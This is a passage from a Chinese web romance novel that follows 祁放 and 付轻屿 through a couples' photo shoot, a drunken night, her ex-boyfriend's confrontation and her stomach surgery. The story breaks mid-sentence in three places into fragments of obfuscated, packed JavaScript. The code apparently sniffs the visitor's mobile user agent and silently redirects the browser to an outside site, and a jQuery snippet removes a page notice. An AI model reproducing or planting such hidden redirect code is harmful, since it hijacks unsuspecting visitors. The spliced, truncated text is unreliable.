老莫没再让她,打火点着烟,“你有这条件,干啥不往上走?这年头,能找到个跳板,不容易。” 他吸了口烟,继续道:“你主持人的工作,也不好干。要我说,两头都抓,哪个好走,就走哪个呗。” 付轻屿在Mina的工位上摸了根爆珠,借老莫的火点着,沉默了会,“主持肯定要干的,我没想把模特当主业,家里闹。” 老莫隔着烟雾看她一眼,“之前说,不管他们怎么想、怎么看、怎么说,现在又活回去了?” “没那么绝。”付轻屿吐了口烟,“再说,奇亚内部的名声不是很好,他们那个太子爷,听说挺混的。” 老莫思量了一会,“女朋友换得快,舍得拿钱砸,听说前一阵捧了个小明星,没新鲜一个月。他最近又打算自己开娱乐公司玩。” 付轻屿说:“跟这种人沾上边,麻烦。” “是麻烦,”老莫说,“但奇亚的名声摆在这,机会可不多。只有拍摄才过去,能遇上几次?” 付轻屿掐了烟,“再说吧。” 老莫点头,“行吧,你自己想。” 付轻屿转身往回走,“我先去换衣服,抓紧拍,争取早点收工。” 祁放见她回来,便凑了上去,先是动用狗鼻子嗅,“有股红酒的味道,还有烟味。”他又好奇得问,“他叫你说什么了?” 付轻屿说:“闲聊了几句。” 祁放就此打住,催她去换衣服。 情侣款也要拍几张单人的,好做展示。 单人拍得挺好,换到双人,祁放就僵住了。他没拍过情侣款,一是不知道怎么摆动作,还有就是紧张。 老莫忍不住暂停下来,“怎么僵成这样?调整一下。” 付轻屿看向祁放,“过来些,太远了。正常展示衣服就行,距离稍微近些,胳膊可以在我肩膀搭一下。” 祁放点头,还是紧张。 付轻屿说:“没事,我会跟着你的节奏调整。” 老莫喊了句,“能行了吗?” 付轻屿挽住祁放的胳膊,“好了,来吧。” 都拍情侣装了,动作稍微像情侣一点,也不算犯规吧。祁放呼了口气,逐渐放开。 “好,肩膀搭一下,对。” 一声声快门下,两人动作越发默契。 “手牵一下,走,对。” 等祁放反应过来,手已经牵上了,不知道是谁牵的谁,只觉得手心发烫。 “好,下一套。” 连续几套衣服拍下来,祁放感觉自己已经熟了。拍摄结束后,好像还被付轻屿牵着走了一段。 祁放换上自己的衣服,还是迷迷瞪瞪的,拿起手机发了两条一模一样的消息:她牵我手了。 杨灿:剁了。 陈昊飞:禁止强行投喂狗粮,谢谢。 杨灿:你表白了?她同意了? 祁放:没有。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966543|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陈昊飞:。 杨灿:兄弟,你现在最主要的是保持清醒,少做白日梦。 祁放:你们不懂。 杨灿:……懂哥。 陈昊飞:。 祁放揣起手机,老莫正商量着晚上聚餐,看付轻屿的意思,是要一起去。 祁放走到付轻屿身边,老莫先开口跟他搭话,“晚上聚餐后,可就都熟了,下次拍情侣款,不能给我卡壳。” 祁放笑笑,“下次肯定不会。” 老莫跟他打趣,“她们知道来了新人,都等着要看你呢。” 祁放说:“看吧,不怕看。” 老莫给他递了根烟,“有没有对象?” “没呢。”祁放把他烟拒了,“我不抽烟。” “哎?你姐弟两,我这烟就是递不出去了。”老莫说,“喜欢什么样的姑娘,哥给你牵个线。” 祁放手腕自然搭到付轻屿肩上,“喜欢这样的。” “去你的,没跟你闹着玩,说真的。”老莫认为两人是亲戚,祁放这么一说,纯属胡闹。 付轻屿忙着回复工作消息,没理会两人,感觉到肩膀上的重量,才转头瞧了眼,“怎么了?” 祁放收回手,笑着说:“没事。” 付轻屿没再管两人,祁放跟老莫说:“不麻烦哥牵线了,我追着呢。” 老莫吐了口烟,转头收拾相机,“那群小姑娘白高兴喽。” 祁放看了眼付轻屿的手机屏幕。 冯适:哪天有时间,我们聊聊吧。 付轻屿:有什么事,直接微信说就行,没必要麻烦。 祁放叹了口气,“你这前男友还挺难缠。” 付轻屿没说话,略微点了下头。 她不喜欢反复拉扯,当初说要断,两人商量好的,又不是意气用事,现在说别的也没意思。 晚上饭局,十六七个人,祁放第一次见识到付轻屿的圈子,虽然只是一小部分。 大家放得开,聊些吃喝玩乐,难免会夹杂着几句工作上的事。 祁放多数时间都在听着,不禁感慨付轻屿的交友广泛,又觉得维系这么多关系让人头疼。 付轻屿的酒量中规中矩,十几个人喝过一遍,已经开始犯迷糊。祁放见她喝得开心,没拦着。 最后散场时,付轻屿嘴上说着自己没醉,走路已经开始打飘,半个身子靠在祁放怀里,被他扶着站稳。 祁放提前叫了个代驾,跟大家道别后,将付轻屿塞进后排座位,自己也跟着坐下。 付轻屿喝醉后,手上动作也多了,一开始拽自己身上衣服,祁放劝说两句后,她就开始转移目标了。 “祁、放。”付轻屿脸颊红透,眼神迷离,反应跟着慢半拍,将祁放逼到角落,“颜泠呢?你、你姐呢?” 祁放心脏突突直跳,听到这句话,清醒不少,“你找她干什么?真醉了?” 付轻屿半侧身子,一头抵在祁放肩上,喃喃道:“不是和颜泠吃的饭,颜泠呢,我想她了。” 付轻屿的头发在她脖颈滑落,祁放彻底乱了,“你想她做什么?你不会是喜欢她吧?” 付轻屿抬起头,又哐一声砸在他肩膀,“我当然喜欢颜泠了。”说着她又哐地砸了一下。 祁放疼的‘嘶’了声,轻咳一下,小声问:“祁放呢,你喜不喜欢他?” 付轻屿沉默半晌才抬起头,直勾勾看着他,“祁放?你长得挺帅啊。” 她说着,上手捏了捏祁放的脸,自言自语:“可不是什么乖小孩。” 祁放没听清,递过耳朵,“你再说一遍。” 付轻屿没说话,一脑袋砸下去,彻底将祁放压在角落,“困,好困。” 祁放半点不敢动,脑袋还被她砸懵了。 付轻屿的鼻息一点点落在耳边,祁放呼吸不到新鲜空气,已经快被付轻屿的味道溺死,极力调动血液往耳朵脸上走,不能往下去。 两人挤再角落,待了一路。 祁放下车时,已经红成番茄了。 付轻屿眯了会,脑子也没多清醒,“到家了吗?我拖鞋呢。你不用。” 祁放一手挎着她的包,将人捞到身边,“还没到,别找了,没拖鞋,这是外面。” 付轻屿靠着他站稳,“祁放啊,有坏人。” “什么坏人?”祁放抬头看了圈,才注意道单元门口站了个人。 祁放小声说:“你喝醉了,没人。扶着我点,该回家了。” 付轻屿紧靠着他,抽了下胳膊,没抽出来,“扶哪?” 祁放:“腰。” 付轻屿转身给他抱住了,还拍了拍腹肌,“练得不错,跟我比差点。” 祁放:“……” 两人还没动,冯适已经按捺不住了,朝这边走过来。 祁放装没看他,带着付轻屿走过去。 “她醉了。” 祁放看他:“你哪位?” 付轻屿听见说话声,转头往旁边看了眼,又满脸怨气地看着祁放,“我说了,有坏人,你非说没有。” “刚才没看见。”祁放说完,看向冯适,语气瞬间变了,“坏人啊,你怎么知道轻屿的地址,她刚搬完家,没跟你说啊。” 冯适看着付轻屿,眼神可怜兮兮的,好像自己才是被抛弃的那个,“轻屿。” 付轻屿听到他声音,立即地转过头,把祁放抱紧了。 冯适瞪了眼祁放。 祁放笑着说:“她醉了,真有事,等她醒了再说吧。” 冯适说话带火,想要去拉付轻屿,“你是谁?和轻屿什么关系?” 祁放抱紧付轻屿往旁边躲了下,“我们什么关系?还不明显吗?嗷,我想起来了,你是她前男友啊。很烦哎,能不能别烦她了,不然,下次我真要回你消息了。” 冯适挺漂亮的一张脸,一会青一会绿的。 祁放刚想走,听他说了句,“你给她做了?” “嗯?”祁放疑惑地转过头,“什么给她做了?” 冯适看着他,莫名笑了下,“你们没在一起。” 祁放不知道他为什么这么笃定,“跟你没关系。” 冯适气势莫名足了,“你又是什么身份?” 祁放真不想跟他纠缠,冷笑了下,“反正比你亲。” 冯适三两步走上前,一拉住付轻屿,“你放开她,别想趁人之危。” “我又不是个畜生。”祁放斜睨他一眼,“要不然还是给我姐打个电话吧,看看颜泠让不让你带她走。” 祁放说着,已拨通了颜泠的电话,“姐,有个人想跟你说两句话。” 他把电话递到冯适耳边。 “谁啊?歪,祁放,你说话,谁要和我说话,是轻屿怎么了?” 冯适听着电话里的声音,松开了手。 祁放将手机拿到耳边,“没事了姐。今天聚餐,轻屿醉了,我把她送家去。” 电话那头不知道又说了几句什么,只听祁放不耐烦地应下,带付轻屿离开。 冯适站在原地愣了许久。 13. 13 祁放一手环着付轻屿,开灯关门一气呵成。他粗略扫了眼客厅,绿植和地毯都在。 付轻屿一手挡在脸上,“光。” 祁放伸手遮住她的眼睛,将人架到卧室,安放在床上,“有没有醒酒药?” 付轻屿伸手朝房顶指,“在那。” “在哪?”祁放按下她的手,“在客厅吗?” 付轻屿半晌没说话,祁放拿起钥匙,想要回家拿一趟,听她开口喃喃,“在茶几、茶几底下。” 祁放冲好蜂蜜水,又找来醒酒药,“把醒酒药吃了,还有水。” 卧室只开了床头灯,光线很柔,付轻屿能睁开眼,被祁放半托着坐起来,吃药喝水后,一个翻身躺回去。 祁放放下杯子,同样是醉酒,付轻屿可比颜泠安静多了。 “轻屿。”祁放蹲下身,小声唤了她一句。 付轻屿一动没动,嗓子里嗯了声。 祁放蹲在床边,静静看她,小声说:“别想那个坏人。” 付轻屿没给回声。 祁放伸手,将她脸上的头发拨开,这才想起来还没卸妆。基于从前的拍摄经验,他知道卸妆这个步骤。 祁放站起身,在化妆桌前挑选半天,最后拿了两张卸妆巾。 付轻屿像是睡着了,没有半点反应。祁放给她擦拭两遍,把纸巾丢到垃圾桶,又在床边蹲了会,没忍住小声问她,“祁放呢,你觉得他怎么样?” “不怎么样吗?” “你之前还夸可爱呢。” 车上的问题没听到答案,他心里过不去了,待着个酒鬼询问半天。 付轻屿呼吸很轻,始终没回应他。 真睡着了? 祁放看她,呼吸跟着放轻,手指在她指尖点了点,被轻轻勾住了。他呼吸停滞两秒,垂头挠了挠头发,全身酥酥麻麻的,半天才舍得松开手。 “付轻屿,晚安,好梦。” 祁放站起身,把空调调到合适温度,给她盖好被子,小声说:“如果做梦的话,别梦见那个坏人,梦我。” 或许是祁放最后一句话显灵,付轻屿做了个好梦,也梦见了他。 醒后,梦的具体内容已经记不清了。依稀记得,是在海边,蔚蓝色海面上映着夕阳的红晕,有西瓜,有海风,有笑声,有祁放。 关于这个梦,付轻屿觉得十分奇怪,祁放为什么会出现在这副画面中? 在海边肆意奔跑,大汗淋淋后,坐到阴凉处吹着海风吃西瓜,是她儿时的梦想,并且持续了好几年。 小孩子的梦想很奇怪,随着时间成长,慢慢就被抛在脑后,偶尔又会突然蹦出来一下。 付轻屿不解,她和祁放的关系,还没有好到会梦见他的程度。 宿醉后,付轻屿头昏脑沉,胃里也不好受,懒得想些莫名奇妙的事。 她爬起来洗漱,给自己煮了碗素面,抽空回复消息。 工作群没什么有用的话,付轻屿匆匆看完,又换到个人微信,回了条祁放的问候。 除此之外还有个红点,是冯适昨晚发的。 冯适:我在你小区门口,见面聊一聊吧,就当叙叙旧。 冯适:我等你。 酒局上的事,付轻屿还记得,出了饭店风一吹,酒劲上来,后面基本上全断片了,好像真看到过冯适。 昨晚肯定是祁放把她送回来的。 付轻屿想了想,没问祁放。祁放不认识冯适,问了也白问,她也懒得麻烦。 付轻屿给冯适回了条消息:昨晚没看见消息,有事手机联系,没必要见面,都一样。 许梦是冯适的高中同学,他是从哪知道的新家地址,可想而知。 付轻屿叹气,十分后悔将搬家的消息泄露给许梦这个大嘴巴。 冯适可能是忙着拍戏,一直没回她消息。付轻屿倒是习惯了,长舒一口气,没盼着他回。 付轻屿窝在沙发上发呆,任由思绪乱飘。除去找颜泠外,发呆是她为数不多的娱乐活动。 半年多了,已经分开半年多了,冯适找她还有什么好说的?没放下?对四年付出的不甘?非要大吵大闹一顿,彻底撕破脸? 冯适和付轻屿是两个很像的人,从底层挣扎着往上爬,有野心肯付出,好不容易遇到上升的机会,恋人变成了拦路虎,爱情这种东西就显得太过虚幻。 更何况是段岌岌可危的感情。 若是她面临相同的处境,也会选择分手。 付轻屿跟冯适也有明显不同的点,她绝不纠缠,不越界,断就断得干脆。 付轻屿想不通冯适为什么要纠缠,明明不合适,明明不愿意让步。 关于性,冯适配合过付轻屿,失败了,自此两人都不肯退步。每次谈到这问题,就像两虎争夺领地,必定两败俱伤。 正因为两人像,所以都想着等着盼着对方低头,都不愿承认这段关系并不合适,非要拖着,将那点少到可怜的爱消耗殆尽。 冯适说她不够爱,至少他肯为她做出尝试。付轻屿认真想过,必须要妥协才算爱的话,她可能还不够爱吧。 两人之间,做朋友,做知己,还是做挚友,都好过做|爱人。 阳光落在付轻屿肩头,逐渐向东偏移,不知道过了多久,上腹隐痛让她缓过神来。 付轻屿不再想这些陈芝麻烂谷子的事,找来胃痛的药吃,转到书房去画设计稿。 直到傍晚,上腹的疼痛感还没散去,付轻屿出了身虚汗,简单收拾一下,去医院做检查。 付轻屿以为是昨晚喝酒引起的,结果是胃息肉,需要割除,当晚直接安排住院。 一个人看病拿药打吊针,付轻屿已经习惯了,偶尔也会有颜泠陪着她。 一个人住院还是头一次,付轻屿躺在病床上,一时间有些茫然。 快的话,第二天做完麻醉评估,就能手术,慢的话还要再等一天。 付轻屿没什么胃口,挂完点滴后点了份粥。 临床是个脾气暴躁的阿姨,自从付轻屿躺在这,就没见她消停过,总在各种挑刺。跟阿姨来的是对小年轻,也不恼,说什么都受着。 付轻屿去了趟厕所的功夫,临床三人已经离开,东西也都带走了,也许是去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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两人没说多久,护士来叫付轻屿做麻醉评估,视频也就挂断了。 付轻屿再回到病房时,临床住进位阿姨,老伴陪着一起来的,两人看着五十岁左右。 三人寒暄了几句,病房再次安静下来。 付轻屿又给颜泠发了条消息:下午手术,你安心拍戏,真没什么大事,等你回来,都能痊愈了。 颜泠回了个头顶冒烟的生气表情包,没说话。 付轻屿发了个讨打的表情包,等着颜泠回来跟她算账。 闲来无事,付轻屿找了几个秀场看。不知道过了多久,她停下来活动脖颈,转头看向门口,只见一个黑影窜过去。 幸亏是白天,要是三更半夜看见个黑影窜过去,她得吓出点什么病来。 付轻屿正对着门口想得入神,只听‘咔哒’一声,祁放闯了进来。 祁放抬手跟她招呼,喘着粗气,没能说出话来。 付轻屿愣住,一时间也没能张开嘴。 祁放头发跑的乱七八糟,脸上挂着层薄汗,冲她笑了下,气喘吁吁地说:“我来了。” 14. 14 “祁放。”付轻屿反应过来,唤了遍他的名字,“颜泠跟你说了。” 祁放点点头,气息稍微喘匀些。 付轻屿下巴指了指病床旁的椅子,“别站着了,先坐下。” 祁放将书包摘下来,“昨天就来医院了吗?” 付轻屿说:“嗯,昨天先做了个检查,下午做手术。” 祁放的目光将她扫视一遍,焦急道:“还有没有哪里不舒服?手术风险大吗?” 付轻屿笑了下,以为颜泠吓唬他来,“胃里点不舒服,没什么大事。微创手术,风险不大。” 来的路上,祁放用手机查过,不用开刀,手术风险不大,可是心里就是放心不下,“我昨晚给你发消息,怎么没告诉我?我知道的话,昨晚就过来了。你自己在医院,好多事也不方便。” 祁放最后这句话说的没错,可是两人的关系还没好到这一步,付轻屿也不想麻烦人。 如果颜泠在江城,付轻屿会跟她说。 付轻屿笑着说:“又不是什么大手术,没想让你们跟着操心。” “那也不行啊……” 付轻屿打断他的话,“你过来些。” 椅子和病床间不到一米,祁放把身子往前倾,付轻屿一手搭在他肩膀,捻了捻。 祁放不明白付轻屿要干什么,不知所措地看了她一眼。 付轻屿不确定地问,“这件短袖是穿反了,还是专门设计成这样的?” “啊?”祁放偏头看向肩膀,衣服的走线漏在外面,他愣了下,立即低头看下去,真穿反了。 付轻屿第一次见到人和油锅里的虾一样,也就几秒钟的时间,完全红透了。 “出门太着急了,”祁放没看她,起身出去,“我去换一下。” 祁放换好衣服,面壁思过半天,扯着身上的衣服,跟念咒语似得,嘴里来回重复着一句话,“太丢人了。” 付轻屿看他回来时脸色已经正常了,心想留他坐会,再把人打发走。 祁放坐回椅子上,“现在是不是要禁食,不能吃东西了?” 付轻屿点点头,“你要是饿了,就去吃东西,我这真没事。” 祁放摇头,“我不饿。病因是什么?” “饮食习惯不好,饥一顿饱一顿的,跟咖啡和饮酒也有关系。”付轻屿看他,“以后按时吃饭,别跟我一样。” 祁放想想自己不健康的作息,心虚地点了点头。 沉默了会,付轻屿看他,想起前天晚上饭局的事,“我喝醉那天,你送我回去,有没有遇到……” 付轻屿想不出什么词来解释冯适。 “遇到过一个坏人。”祁放知道她问的谁,“你管他叫坏人。” “哈?”付轻屿确实断片了,坏人又是什么鬼? 祁放还贴心地给付轻屿解释,“就是我们在树荫吃午饭碰到的那个‘不熟’的人,你前任。” 付轻屿:“……”记得真清楚。 祁放笑着问:“怎么了?有什么事吗?” 付轻屿感觉祁放笑得很怪,有种笑里藏刀的感觉,“他有没有说什么?” 祁放认真想了下,冯适废话挺多的,没什么有用的话,不过,有句话确实让他摸不着头脑。 “问了我是谁,跟你什么关系,”祁放看着付轻屿,“还问我是不是给你做了,我没明白什么意思,就没回他。” 付轻屿头脑一懵,冯适真是疯了,难道以为祁放是她新找的男朋友?上来就问这种话。 祁放问付轻屿,“他这话是什么意思?” 付轻屿装作不知情地摇摇头,“可能是随口说的吧,我也没明白。” 绝对不是随便说的,冯适问完,底气瞬间足了。祁放见付轻屿不愿说,也没再问,心里跟自己闹情绪去了——付轻屿和冯适还有秘密,不会是还喜欢他吧? 付轻屿揉了揉太阳穴,早知道不问了,听完更头疼。 祁放坐在椅子上,拿出平板画画,他不会藏事,心里不开心,脸色也跟着沉下去。 付轻屿看向祁放,不知道他这情绪从何起的,就先让他自己静静了。 思前想后,付轻屿给冯适发了条消息:祁放是颜泠的弟弟,我们不是你想的那样,别和他瞎说。 付轻屿没想着他能回,毕竟两天前发的信息,到现在都没影。 没过一会,冯适竟回了条消息:现在不是男朋友?以后呢?我怎么瞎说了?我有哪个字是瞎说了? 冯适:付轻屿,你心真狠,我不行,他就可以?你凭什么能为了他改变?那我呢,我们四年又算什么? 付轻屿看着他无理取闹的质问,苦笑了下,四年啊,冯适还是觉得她没妥协是因为不够爱。 付轻屿沉默片刻,给他回了条消息:随便你怎么想吧。 聊天框再也没弹出消息。 付轻屿掀开被子下床,祁放急忙问她:“你去干嘛?” “卫生间,”付轻屿说,“这真不需要你跟着,乖乖在这待着吧。” 祁放嗯了声。 走廊的风一吹,付轻屿感觉心里舒坦不少,不再想冯适那些乱七八糟的事。 等她回去时,祁放正在和临床的阿姨聊天,将叔叔阿姨逗的合不拢嘴。 “回来啦。”祁放冲付轻屿笑了下。 付轻屿点点头。她出去时,祁放的情绪还不是很好,现在又跟个没事人一样。她心里不禁感慨了句,情绪自控力真强。 阿姨笑着说:“还是年轻好啊,看你们的样子,也在一起挺久了吧。” 付轻屿一惊,尴尬地笑了下,“我们不是情侣……”她想了会,祁放不愿叫她姐,说是姐弟,总有点强行占人便宜的感觉。要说是朋友,总管觉关系没这么好,还差点意思。 祁放笑着说:“是不是很般配?” 阿姨笑了笑,以为小伙子还在追媳妇,真心实意地说:“挺般配的。” 付轻屿笑了下,懒得解释,麻烦。 不知道祁放什么时候把椅子往床边挪了下,付轻屿一伸手,正好拍在他头上,“现在都敢开我玩笑了。” “疼。”祁放捂着头,脸上的笑一点不比方才少,也不解释。 付轻屿看他那样儿,一点都不像疼的,不轻不重地说了个“该”。 祁放又搬着椅子往病床挪动,“你看什么呢?” “动物世界。”付轻屿看他凑过来,“想看?” 祁放点头。 付轻屿逗他,“想看,再给我打一下。” 祁放真将脑袋递到她手旁,“打吧,反正是在医院,你要是打疼了,我就赖这。” 付轻屿手劲不小,方才拍他那下,收了劲,应该不至于给人打疼。她伸手揉了揉祁放的脑袋,“真疼假疼?” 祁放这心里就跟付轻屿手里的头发一样,乱成一团,甜滋滋地泛出点酸水。他哼了声,“不告诉你。你这就是打一把巴掌,给个甜枣。” 付轻屿没客气,又给了巴掌,将耳机递过去,“甜枣,要不要?” 祁放被打了下,好像更有底气了,一脸傲娇的小表情,接了过来,嘴里还喃喃了句,“你就欺负我。” 付轻屿笑了下,没接话。 纪录片挺感人的,祁放红着眼眶,半小时出去了两趟,看到小猴妈妈去世后,头稍微偏过去,又想起身。 付轻屿将人拉出,抽了两张纸巾按在他眼前,轻声说,“好了,就在这哭吧,别往外跑了,给你挡着呢,没事。” 祁放接过纸巾,“我没哭,我就是需要缓冲一下,需要思考。” 付轻屿看他眼眶泛红,睫毛湿漉漉的,又一脸傲娇的表情,竟呆愣两秒,心跳也漏了拍。 不得不说,祁放这副摸样,直直撞在了她的审美点上。 祁放声音囔囔的,“你泪点也太高了。” 付轻屿轻咳一声,将思绪拉回正轨,“是你泪点太低。” 祁放往她身边靠,手肘撑在病床上,自己偷偷抹泪。 付轻屿看着他毛茸茸的后脑勺,没忍住伸手揉了揉。祁放不躲,也不说话,仿佛真看进去了,时不时抽两张纸。 付轻屿看不到他的脸,却自动脑补出画面。 整天笑哈哈的,没想到这么能哭。付轻屿倒开始好奇他,自然而然想要更加了解。 工作中,每天都在了解新人,或许这方面的情绪被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966545|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耗尽了,付轻屿很少对身边出现的人产生兴趣,更不要说去了解,去深交。 一集纪录片看完,祁放转头看向付轻屿,他是真看人迷了,还想问有没有下一集。 付轻屿看着祁放两眼红肿,要回耳机,不给看了,怕他哭晕在这。 祁放不情不愿地拿出平板,继续画。 付轻屿问:“我好像没问过高考成绩。” 祁放说:“文化课六百多,校考八十多。我高三复读了一年,去年文化课也是六百多,校考没过。” 付轻屿:“……” 同样是复读一年,人和人的悲欢果然不想通。她当年要是能考六百多,‘刘老师’得敲锣打鼓庆祝。 祁放停下笔,怔怔地看向她,“你怎么突然问我成绩?” “没什么,随口问出来了。”付轻屿说,“我能看看你画的吗?” 祁放求之不得,立即献上平板,“你往前翻,这篇我已经画了好几页。还有几个短篇,你要不要看?” 付轻屿点头,“嗯,我先把这个看完。” 能考上青影的漫画专业,确实有些实力,让付轻屿惊讶的不是画工,而是创作内容,一篇很青涩的爱情故事。 整页看下来,很文艺清新范。 付轻屿翻了几页,分镜和细腻程度让人震惊。她甚至没法想象,祁放最开始坐在椅子上,沉着张脸,手里在画男主心动。 祁放问:“怎么样?” “挺意外的,我还以为男生都喜欢中二热血一点的,像这种纯爱情的漫画……”付轻屿看着祁放,“没想到你会画这种。” “这也是我第一次尝试,”祁放说着,找出自己的创作账号,“这是我之前画的,你看看。” 付轻屿看完他最早的一篇,主打幽默搞笑。 划到最后一页,是整篇漫画的评论,第一条就是不友好言论。 祁放迅速伸手挡住,给她找出下一篇,揉了揉鼻子,笑着说:“评论就不看了,没有几条,也没什么好看的。” 付轻屿嗯了声,突然觉得祁放虽然看着嘻嘻哈哈的,其实心思很细腻。那些不好的言论,祁放不想让她看见,因为他知道看了会难受,会心烦。 几篇短漫,祁放的创作跟他的穿搭一样,没有固定风格,画工却是肉眼可见的成长。 付轻屿毕竟不是什么专业人士,就事论事地夸了几句。 祁放却是肉眼可见的开心,给她讲了许多画画时的想法,付轻屿静静听着,偶尔问两句。 祁放说起来没完,付轻屿让他继续画,这才停下嘴。 付轻屿记住了他的账号名称,下载漫画软件搜出来,重新看几个短篇,连评论一起看了。 心情跟着七上八下的。 付轻屿禁食不能吃午饭,祁放也要跟着禁食。付轻屿装作生气地说了他几句,将人支去吃饭,让他下午回家。 没过二十分钟,祁放带了几个橘子回来,进门时余光扫了眼付轻屿,直奔临床的叔叔阿姨过去,分了分橘子。 付轻屿盯着他,祁放装出一副乖相,坐回椅子上,打开手机的付款记录,“看,吃了炒米粉。” “没嚼就吞了,”付轻屿说,“让你下午回家呢。” “我不回去。这个不听你的。” 付轻屿语重心长地跟他讲:“你不用管颜泠说了什么,我找了护工,你别在这浪费时间,干你自己的事去。” “我没别的事,在哪画都是画。颜泠没逼我,我自己愿意在这,你别赶我走啊。”祁放瞧她一眼,快速说了句,“就算你赶,我也不走。” 付轻屿听这话,总觉得哪不对劲,又怕自己想得太多,最后干脆什么都不想了,“随便吧,累了就自己回去休息。” 祁放点头应下。 两人没再搭话,直到手术前,付轻屿又跟祁放叮嘱了几句,“挺小的手术,没事的,不用担心,也别害怕。” 她知道等在手术室外的滋味,不管手术大小,医生说得多么轻松,真看着人被推进去,那扇门一关,心里也是揪着的,免不了上蹿下跳,胡思乱想。 或许是付轻屿的错觉,总感觉说完这句话,祁放又要哭了。 15. 15 手术室内的滴滴声与心跳声混在一起,祁放在手术室外,不安地来回踱步,思绪乱成一团。 手术持续了二十分钟左右,付轻屿打了全麻,被推出手术室的时候,意识还未清醒。 祁放吓了跳,听护士讲手术很顺利,只是麻药劲还没过,才放心。他没有陪护经验,认真听完注意事项,又问了些杂七杂八的问题,才安静守在病床前。 付轻屿唇色很淡,脸色也有些苍白,与平常游刃有余的样子不同,多了几分脆弱。 祁放理顺她耳边的乱发,虽然知道手术很成功,心底的害怕却不见消退。 他抬起头,看向临床的叔叔阿姨,顿了下,又将视线落回到付轻屿身上。 祁放想了很多,也察觉到很多事。付轻屿是个有主心骨的人,很独立,能自己解决的事,不喜欢麻烦别人,人际关系圈很大,也很淡。 跟家里的关系似乎也很淡。 要好的朋友,好像只有颜泠一个。 祁放双手垫着下巴,趴在床边护栏上。付轻屿也是个很温柔的人,有种莫名且致命的吸引力,他想要多了解一点,想要靠近,想要待在她身边…… 付轻屿睁开眼,视线有些模糊,嘴里还有点麻,没有头晕恶心,像是睡了觉,断片了。眼前的画面逐渐清晰,是祁放,嘴巴一张一合的,在说着什么。 “……轻屿,付轻屿,胃疼吗?还有肚子,肚子疼吗?” 可能是麻药劲没过,付轻屿反应慢半拍,半晌才摇了摇头,“没事,没什么感觉。” 祁放这才松了口气,“医生说了,要禁食二十四小时,明天下午再检查一下,没什么异常就能出院了。出院之后的饮食也要注意,前几天只能吃些流食,半个月内一定不能吃辛辣刺激的……” 付轻屿静静听祁放唠叨,没打断。 手术前,医生发了注意事项的纸单,祁放说的这些,她都知道,只是觉得这样听会儿,也挺好的。 付轻屿安静听完,点了点头,轻声说:“我还是有点困,想再睡会,你回去吧,真没事了。” 祁放没回应这句话,给她扯了扯被子,“困了就睡吧,不用管我。” 付轻屿闭眼睡觉,没再管他。 祁放坐在病床旁画画,护工阿姨过来后,他出去买了些洗漱用品和吃的。回到病房门口时,见付轻屿刚躺下,护工将她的洗护用品放好,退了出来。 祁放跟护工打了个照面,在门外等了会,见付轻屿重新睡下才进去。 他给临床的叔叔阿姨分了些吃的,小声聊了几句,悄悄坐回椅子上,开始忙自己的事。 付轻屿前些日子没休息好,这两天在医院补觉,睡得沉,半夜被冷醒,伸手扯了扯被子,看到床边还坐着个人,瞬间清醒不少。 祁放不是回去了吗? 付轻屿愣了下,转头看手机上的时间,已经凌晨一点多了。 祁放双手环着自己,尽量缩起身子,头朝一边歪着,就这样睡着了。 付轻屿叹了口气,无奈看着他,真倔啊。 让祁放现在回去,他肯定也不会听。这样睡一晚,明天肯定要感冒。 付轻屿静静看着祁放,或许人在生病的时候,依赖情感会大爆发,她其实没有很想赶祁放走,甚至有些庆幸身边有个人,不然医院也太冷了。 付轻屿伸手,想要拍拍祁放的手腕,距离有点远,够不到。她一翻身,上腹有些疼,无奈拉住祁放的手指,拽了拽。 祁放迷迷糊糊睁开眼,把她手攥住了,“嗯?怎么了?是不是不舒服?”他说着,身子也往病床前倾斜。 付轻屿抽出手,拍了拍病床,“上来睡吧,太冷,明天要感冒。” 祁放两眼瞬间瞪大,思绪混乱,他一边觉得这样不太好,又按捺不住想去,心里问了自己一句,不会是听错了吧? 付轻屿见他愣住,又拍拍被子,“挺宽的,能躺开。” “嗯。”祁放冷得打提溜,什么都不想了,遵循内心,侧躺上去,给两人中间留出空隙。 病床不算大,付轻屿平躺,祁放侧着身子,中间空出不到两拳距离。 付轻屿说:“被子盖好。” “好。”祁放蛄蛹着,将被子掖好,彻底清醒了。 付轻屿平躺着闭上眼,也有些睡不着,开始好奇祁放是怎么想的。 如果状况反过来,祁放在这住院,她会陪护一晚上吗?应该是不会的。再说,以祁放的性格,朋友肯定不少,也用不到她在这。 想到这,付轻屿有些好奇祁放在朋友面前是什么样子,绝对不是她见到的样子。 两人各自装睡,祁放还会偷偷睁开眼,看一下。 祁放也不知道自己在想什么,脑子空白一片,就是睡不着,也不敢动。 付轻屿没一会就适应了,反正人都躺在身边了,想别的也没用,心放宽后,就睡着了。 付轻屿睡着后,感觉身处冰窖,身边有个大火炉,不自觉挪了过去。 祁放好不容易生出些困意,胸膛被付轻屿贴实后,又清醒了。 心脏砰砰直跳,他以为今晚都别想睡着了,但感受着付轻屿的体温,被她的气息萦绕,心跳竟渐渐平稳下来,内心感到了前所未有的满足,伴随着困意袭来,安心入睡。 